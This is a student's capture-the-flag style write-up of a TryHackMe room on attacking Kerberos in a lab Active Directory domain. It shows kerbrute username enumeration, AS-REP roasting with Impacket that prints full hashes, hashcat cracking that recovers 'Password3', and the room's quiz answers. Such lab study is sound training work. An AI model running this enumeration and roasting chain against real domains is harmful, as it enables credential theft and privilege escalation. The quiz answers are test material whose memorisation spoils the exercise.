



Title:- attacking Kerberos.

Prepared By :- Ahmed Dahman Saleh

Date :- May,2026

Platform :-TryHackMe .

Introduction :-

in an Active Directory (AD) environment, Kerberos is the default and most critical authentication protocol. It relies on a "ticket-based" system managed by the Key Distribution Center (KDC) to verify user identities and grant access to network services without sending passwords over the wire.

Because Kerberos is the backbone of AD authentication, it is a primary target for penetration testers and attackers during the internal post-exploitation phase. Exploiting flaws in Kerberos misconfigurations or weak cryptographic implementations allows attackers to escalate privileges, move laterally, and achieve persistent administrative control over the entire domain.

Room progress (26%)

Answer the questions below

What does TGT stand for?

Ticket Granting Ticket

✓ Correct Answer

What does SPN stand for?

Service Principal Name

✓ Correct Answer

What does PAC stand for?

Privilege Attribute Certificate

✓ Correct Answer

What two services make up the KDC?

AS, TGS

✓ Correct Answer

Answering the foundational theoretical questions regarding the Kerberos protocol to verify core concepts and ticketing components before initiating the practical exploitation phase.

Updating the local /etc/hosts file using nano to map the Domain Controller's IP address to its corresponding hostname (CONTROLLER.local) for proper network routing and resolution

```

Session Actions Edit View Help
(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
[sudo] password for kali:
(kali㉿kali)-[~]
└─$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
-2026-05-19 08:27:56-- https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://release-assets.githubusercontent.com/github-production-release-asset/168977645/e8ae4080-1eb1-11ea-8fea-0ea168fa4c79?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-19T13%3A21%3A21Z&rscd=attachment%3B+filename%3Dkerbrute_linux_amd64&rsct=application%2Foctet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2026-05-19T12%3A20%3A39Z&sk=2026-05-19T13%3A21%3A21Z&skvs=b6skv-2018-11-09&sig=%2FJJLo06psHqETBqxLPcwssV2Ye97CJICuJA50U434pM%3D6jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXNodWUyY29tIiwiaXVkiJoicmVsZWZfZS1hc3NldHMuz2L0aHVidXNlcmNvbnRlbnQyY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc3OTESMzk3NiwiImJmIjojc3M5MTkzNjc2LCJwYXRoiJoicmVsZWZfZWZfc2V0cHJvZHVjdGlvb5ibG9iImVncmUud2luZG93cy5uZXQifQ.0j7c7L7t4i0h1dXY9mKqhy-UFCvQTPcG2PqggrII8e8M&response-content-disposition=attachment%3B%20filename%3Dkerbrute_linux_amd64&response-content-type=application%2Foctet-stream [following]
-2026-05-19 08:27:56-- https://release-assets.githubusercontent.com/github-production-release-asset/168977645/e8ae4080-1eb1-11ea-8fea-0ea168fa4c79?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-19T13%3A21%3A21Z&rscd=attachment%3B+filename%3Dkerbrute_linux_amd64&rsct=application%2Foctet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2026-05-19T12%3A20%3A39Z&sk=2026-05-19T13%3A21%3A21Z&skvs=b6skv-2018-11-09&sig=%2FJJLo06psHqETBqxLPcwssV2Ye97CJICuJA50U434pM%3D6jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXNodWUyY29tIiwiaXVkiJoicmVsZWZfZS1hc3NldHMuz2L0aHVidXNlcmNvbnRlbnQyY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc3OTESMzk3NiwiImJmIjojc3M5MTkzNjc2LCJwYXRoiJoicmVsZWZfZWZfc2V0cHJvZHVjdGlvb5ibG9iImVncmUud2luZG93cy5uZXQifQ.0j7c7L7t4i0h1dXY9mKqhy-UFCvQTPcG2PqggrII8e8M&response-content-disposition=attachment%3B%20filename%3Dkerbrute_linux_amd64&response-content-type=application%2Foctet-stream
Resolving release-assets.githubusercontent.com (release-assets.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to release-assets.githubusercontent.com (release-assets.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8286607 (7.9M) [application/octet-stream]

```

Downloading the Kerbrute binary from the official GitHub repository using wget, which will be utilized for user enumeration and pre-authentication attacks.

```

Session Actions Edit View Help
(kali@kali)-[~]
$ ./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
...
Version: v1.0.3 (9dad6e1) - 05/19/26 - Ronnie Flathers @ropnop
2026/05/19 08:28:48 > Using KDC(s):
2026/05/19 08:28:48 > CONTROLLER.local:88
2026/05/19 08:28:48 > open User.txt: no such file or directory
(kali@kali)-[~]
$ cd Downloads
(kali@kali)-[~/Downloads]
$ ls -la
total 136256
drwxr-xr-x 2 kali kali 4096 May 18 19:18 .
drwx----- 20 kali kali 4096 May 19 08:28 ..
-rw-rw-r-- 1 kali kali 8364 May 17 07:05 dahmana054-Jr-Pentester-AD-v01-BH-6a099ffb10d6867a8ce37d7d.ovpn
-rw-rw-r-- 1 kali kali 8376 May 16 10:46 dahmana054-Jr-Pentester-Intro-AD-Creds-6a08819a1a615a27c50a8ca2.ovpn
-rw-rw-r-- 1 kali kali 6099 May 14 11:26 'eu-west-3-dahmana054-premium (1).ovpn'
-rw-rw-r-- 1 kali kali 6099 May 18 19:18 'eu-west-3-dahmana054-premium (2).ovpn'
-rw-rw-r-- 1 kali kali 6099 May 13 18:03 eu-west-3-dahmana054-premium.ovpn
-rw-rw-r-- 1 kali kali 130047612 May 13 17:57 google-chrome-stable_current_amd64.deb
-rw-rw-r-- 1 kali kali 549 May 17 17:51 hashes.txt
-rw-rw-r-- 1 kali kali 17 May 17 17:57 important

```

Initial execution failure of Kerbrute due to a "No such file or directory" error for User.txt, followed by navigating to the Downloads directory and verifying file presence using `ls -la`

```

Session Actions Edit View Help
drwxr-xr-x 2 kali kali 4096 May 18 19:18 .
drwx----- 20 kali kali 4096 May 19 08:28 ..
-rw-rw-r-- 1 kali kali 8364 May 17 07:05 dahmana054-Jr-Pentester-AD-v01-BH-6a099ffb10d6867a8ce37d7d.ovpn
-rw-rw-r-- 1 kali kali 8376 May 16 10:46 dahmana054-Jr-Pentester-Intro-AD-Creds-6a08819a1a615a27c50a8ca2.ovpn
-rw-rw-r-- 1 kali kali 6099 May 14 11:26 'eu-west-3-dahmana054-premium (1).ovpn'
-rw-rw-r-- 1 kali kali 6099 May 18 19:18 'eu-west-3-dahmana054-premium (2).ovpn'
-rw-rw-r-- 1 kali kali 6099 May 13 18:03 eu-west-3-dahmana054-premium.ovpn
-rw-rw-r-- 1 kali kali 130047612 May 13 17:57 google-chrome-stable_current_amd64.deb
-rw-rw-r-- 1 kali kali 549 May 17 17:51 hashes.txt
-rw-rw-r-- 1 kali kali 17 May 17 17:57 important
-rwxrwxr-x 1 kali kali 8286607 May 15 06:56 kerbrute
-rw-rw-r-- 1 kali kali 569236 May 15 07:08 Pass.txt
-rw-rw-r-- 1 kali kali 375 May 17 17:40 'users-1747402923217 (1).txt'
-rw-rw-r-- 1 kali kali 375 May 17 07:12 users-1747402923217.txt
-rw-rw-r-- 1 kali kali 375 May 17 17:44 users.txt
-rw-rw-r-- 1 kali kali 540470 May 15 07:08 User.txt

(kali@kali)-[~/Downloads]
$ ./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
...
Version: v1.0.3 (9dad6e1) - 05/19/26 - Ronnie Flathers @ropnop
2026/05/19 08:31:14 > Using KDC(s):
2026/05/19 08:31:14 > CONTROLLER.local:88

```

Successfully invoking Kerbrute with the correct file path to initiate the user enumeration process (`userenum`) targeting the Domain Controller (`CONTROLLER.local`)

```

-rw-rw-r-- 1 kali kali 540470 May 15 07:08 User.txt
(kali@kali)-[~/Downloads]
$ ./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
  _____
 /  _  _  \
|  _ \| | | | |
| |_) | | |
|  _ <| | |
|_| \_||_|
Version: v1.0.3 (9dad6e1) - 05/19/26 - Ronnie Flathers @ropro
2026/05/19 08:31:14 > Using KDC(s):
2026/05/19 08:31:14 > CONTROLLER.local:88
2026/05/19 08:31:30 > [+] VALID USERNAME: administrator@CONTROLLER.local
2026/05/19 08:32:46 > [+] VALID USERNAME: admin1@CONTROLLER.local
2026/05/19 08:33:52 > [+] VALID USERNAME: Administrator@CONTROLLER.local
2026/05/19 08:34:11 > [+] VALID USERNAME: admin2@CONTROLLER.local
2026/05/19 08:35:41 > [+] VALID USERNAME: user1@CONTROLLER.local
^X2026/05/19 08:38:59 > [+] VALID USERNAME: machine1@CONTROLLER.local

```

Successful enumeration results demonstrating Kerbrute's capability to discover valid Active Directory usernames (e.g., administrator, admin1, user1) based on KDC responses.

Room progress (39%)

How many total users do we enumerate?

10

✓ Correct Answer

What is the SQL service account name?

SQLService

✓ Correct Answer

What is the second "machine" account name?

Machine2

✓ Correct Answer

What is the third "user" account name?

User3

✓ Correct Answer

Documenting the enumeration phase results by answering targeted questions regarding total discovered users, service accounts, and machine accounts within the domain.


```

kali@kali: ~/Downloads
$ impacket-GetNPUsers CONTROLLER.local/ -usersfile current_users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.129.152.27
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User admin1 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$admin2@CONTROLLER.LOCAL:b5b62cb0a014bcf4f8e142dcd471bcae$327670725715266b8b85350454300402b808129f2918c35cd7e141692142ce1a82ce55d2a6ea390a5bdb74c24c738b7f167cc52d88c962530221e561e7ef11b3d359b4c197ca2497d3a1f73a8b3ff7ecac004820715cf3a1b723e9f3c3ad2b3e61e8a0cae98a3c503477acf6339fc4f7dce2267fddd9b06bb7f12da7af1c8c1afe839228f4babe9b39e0617a8fea1db4bdac223030c50b27c056ca301d875b2e4b7d9df4e3ebaa2050d3aeba1cb62afc6179660ac52664ea5c8cb15ae9a430941c68d6d2b6b721663535241f5564f4295b99ce89a9807e55a35520d012a7f8ad193a9e559d30bae52c2c01c49e19119d4b8dcee
[-] User user1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User user2 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$user3@CONTROLLER.LOCAL:2712f0a7865375b1518ea6921fcd4ec$96bb3fbfaa78c352ae691b618d9fc4f76d4243d6c72d544613f67ae366c0bb7938fadfaf7e4ebb0c047482193a05361b910bda69bbdb85b9b93b8996915784685183a71ca1a16d9761ac34b93d659c9cb79a730c1e994c4d93fb6f639548397b16b572ffcf0594e9c23b106c87679765cb1dce18f5f68750919c7669f7928477d60b2073ab5606af4640f6def916c6d56216a4a16a26fc7453be81c36db5bab876b31fc7cdf6f5d2e5368f14cfbc5bc951e5cc78472de8d8ed34da0b7290d6ba5d5489c11cb47fe43455cb15b94a02311219fe0a3453487dce1c773ace32dabb1a2831026ab4832928aac5b4ee105f6127a89aa0d
[-] User machine1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User machine2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

kali@kali: ~/Downloads
$

```

Executing an AS-REP Roasting attack using Impacket-GetNPUsers against the discovered users list. The output confirms successfully harvesting the Kerberos 5 AS-REP hash for user3, whose account does not require pre-authentication.

```

kali@kali: ~/Downloads
Session Actions Edit View Help
$ hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

=====
* Device #01: cpu-haswell-Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz, 1456/2912 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 513 MB (2023 MB free)

Starting self-test. Please be patient...

```

Setting up Hashcat to perform an offline dictionary attack on the harvested hashes, specifying mode 18200 (Kerberos 5 AS-REP etype 23) and utilizing the rockyou.txt wordlist.

```
kali@kali: ~/Downloads
Session Actions Edit View Help
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
Session.....: hashcat
Status.....: Exhausted
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: hashes.txt
Time.Started.....: Tue May 19 08:56:19 2026 (28 secs)
Time.Estimated...: Tue May 19 08:56:47 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 566.2 kH/s (4.53ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.....: 28688770/28688770 (100.00%)
Rejected.....: 0/28688770 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidate.Engine..: Device Generator
Candidates.#01...: kristenanne -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 55%
Started: Tue May 19 08:56:00 2026
Stopped: Tue May 19 08:56:48 2026
(kali@kali)-[~/Downloads]
$
```

Hashcat completing the keyspace exploration and exhausted status, indicating a successful recovery of the plaintext password corresponding to the cracked hash.

```
(kali@kali)-[~/Downloads]
$ hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt --show
$krb5asrep$23$user3@CONTROLLER.LOCAL:2712f0a7865375b1518ea6921fcd4ec$96bb3fbfaa78c352ae691b618d9fc4f76d4243d6c72d544613f67
ae366c0bb7938fadfaf7e4eb0c047482193a05361b910bda69bbcd85b9b93b8996915784685183a71ca1a16d9761ac34b93d659c9cb79a730c1e994c4d
93fbf6f39548397b16b572ffc0594e9c23b106c87679765cb1dce18f5f68750919c7669f7928477d60b2073ab5606af4640f6def916c6d56216a4a16a26
fc7453be81c36db5bab876b31fc7cdf6f5d2e5368f14cfbc5bc951e5cc78472de8d8ed34da0b7290d6ba5d5489c11cb47fe43455cb15b94a02311219fe0
a3453487dce1c773ace32dabb1a2831026ab4832928aac5b4ee105f6127a89aa0d:Password3
(kali@kali)-[~/Downloads]
$
```

Displaying the cracked credentials using Hashcat's --show flag, revealing that the cleartext password for user3 is Password3 .

Room progress (43%)

when domain admin do we get a ticket for when harvesting tickets?

Administrator

Correct Answer

Which domain controller do we get a ticket for when harvesting tickets?

CONTROLLER.L

Check

You are going too fast. Please try again in a little while.

Submitting answers related to ticket harvesting mechanics and identification of the target Domain Administrator account.

Room progress (56%)

Answer the questions below

What hash type does AS-REP Roasting use?

Kerberos 5 AS-REP etype 23 ✓ Correct Answer

Which User is vulnerable to AS-REP Roasting?

squid ! Uh-oh! The answer you provided may not be in English. Please review it and try again. Check

What is the User's Password?

Password3 ✓ Correct Answer

Which Admin is vulnerable to AS-REP Roasting?

Submitting the correct hash type used in the AS-REP Roasting attack (Kerberos 5 AS-REP etype 23) and the successfully cracked password (Password3).

Room progress (56%)

Uh-oh! The answer you provided may not be in English. Please review it and try again.

What is the User's Password?

Password3 ✓ Correct Answer

Which Admin is vulnerable to AS-REP Roasting?

Admin2 ✓ Correct Answer

What is the Admin's Password?

Uh-oh! The answer you provided may not be in English. Please review it and try again. Check

Concluding the section by identifying the vulnerable administrator account (Admin2) affected by AS-REP Roasting prior to inputting its respective cracked password.